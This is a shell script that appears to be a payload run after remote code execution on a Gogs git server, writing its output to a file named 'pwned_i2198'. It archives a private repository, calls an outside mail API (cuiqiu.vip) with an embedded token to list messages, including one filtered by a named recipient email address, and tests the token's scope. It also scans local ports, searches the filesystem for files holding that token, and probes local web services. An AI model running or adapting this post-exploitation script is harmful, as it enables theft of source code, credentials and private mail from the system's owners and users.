#!/bin/sh
{
echo "=== i2198 rce start $(date -u) ==="
id; pwd; hostname
echo "--- netflix-code repo ---"
GD=/data/git/gogs-repositories/zoujiajian/netflix-code.git
du -sm "$GD" 2>/dev/null
git --git-dir="$GD" log --all --oneline 2>/dev/null | head -10
echo "-- files (top 400) --"
git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -400
echo "-- archive to tar.gz --"
git --git-dir="$GD" archive HEAD 2>/dev/null | gzip > netflix-code.tar.gz
ls -la netflix-code.tar.gz 2>/dev/null
echo "--- CUIQIU reachability from this host ---"
curl -sS -m 15 -X POST "https://api-1760339128.cuiqiu.vip/v1/message/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b&mail_id=1758010372082390518&start_time=2026-10-08&end_time=2026-10-10&limit=3" -o cuiqiu_list.json -w "list_http:%{http_code}\n" 2>cuiqiu_err.txt
echo "list_exit:$?"
head -c 700 cuiqiu_list.json 2>/dev/null; echo; head -2 cuiqiu_err.txt 2>/dev/null
echo "--- cuiqiu with to filter (known recipient) ---"
curl -sS -m 15 -X POST "https://api-1760339128.cuiqiu.vip/v1/message/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b&mail_id=1758010372082390518&start_time=2026-10-01&end_time=2026-10-10&to=rooinovidio@hotmail.com&limit=3" -o cuiqiu_to.json -w "to_http:%{http_code}\n" 2>&1
head -c 500 cuiqiu_to.json 2>/dev/null; echo
echo "--- bogus mail_id (scope check) ---"
curl -sS -m 15 -X POST "https://api-1760339128.cuiqiu.vip/v1/message/list" -d "token=4ff0341ebf1747cd89a2d1a5a296b68b&mail_id=1696913058045050661&limit=1" -o cuiqiu_bogus.json -w "bogus_http:%{http_code}\n" 2>&1
head -c 400 cuiqiu_bogus.json 2>/dev/null; echo
echo "--- local ports ---"
(ss -tln 2>/dev/null || netstat -tln 2>/dev/null) | head -30
echo "--- mail-helper hunt ---"
find /data /home /opt /srv /root /tmp -maxdepth 6 \( -iname "*mail-helper*" -o -iname "*mailhelper*" \) 2>/dev/null | head -20
grep -rIl "CUIQIU_TOKEN\|cuiqiu" /data /home /opt /srv /root /etc 2>/dev/null | grep -v gogs-repositories | head -20
echo "--- local http probes ---"
for p in 8765 8080 8000 3000 9000; do printf "port %s: " "$p"; curl -s -m 4 -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:$p/" 2>&1; done
echo "=== end i2198 ==="
} > pwned_i2198 2>&1
